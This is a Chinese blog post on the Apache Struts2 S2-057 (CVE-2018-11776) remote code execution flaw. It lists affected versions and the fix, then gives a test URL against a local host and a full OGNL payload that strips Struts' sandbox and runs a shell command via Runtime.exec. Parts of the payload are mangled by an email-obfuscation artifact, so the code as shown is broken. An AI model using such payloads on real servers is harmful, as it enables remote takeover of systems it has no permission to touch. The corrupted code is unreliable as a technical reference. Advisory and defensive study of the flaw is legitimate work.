S2-057远程代码执行漏洞检测与利用

版权声明:没有注明参考链接,均为原创,如有侵权,请联系博主! https://blog.csdn.net/qq_29647709/article/details/84971376

Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

漏洞记录

漏洞编号:S2-057(CVE-2018-11776)

漏洞影响:远程代码执行

受影响版本:<=Struts 2.3.34,Struts 2.5.16

漏洞修复:升级至最新版本

Apache wiki链接:https://cwiki.apache.org/confluence/display/WW/S2-057

利用条件

利用条件:

  • alwaysSelectFullNamespace操作元素没有设置命名空间属性,或者使用通配符。
  • 命名空间将由用户从uri传递,并被解析为OGNL表达式,最终导致远程代码执行漏洞。

检测利用

本地验证:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057

在线验证1:http://0day.websaas.com.cn/

详细验证:https://lgtm.com/blog/apache_struts_CVE-2018-11776
有效载荷:

http://192.168.1.15:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
$%7B233*233%7D为url编码,解码为:${233*233}

发现我们构造的payload执行了:
在这里插入图片描述
任意代码执行

${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在这里插入图片描述

参考链接:
https://blog.csdn.net/qq_29277155/article/details/81950170
https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_29647709/article/details/84971376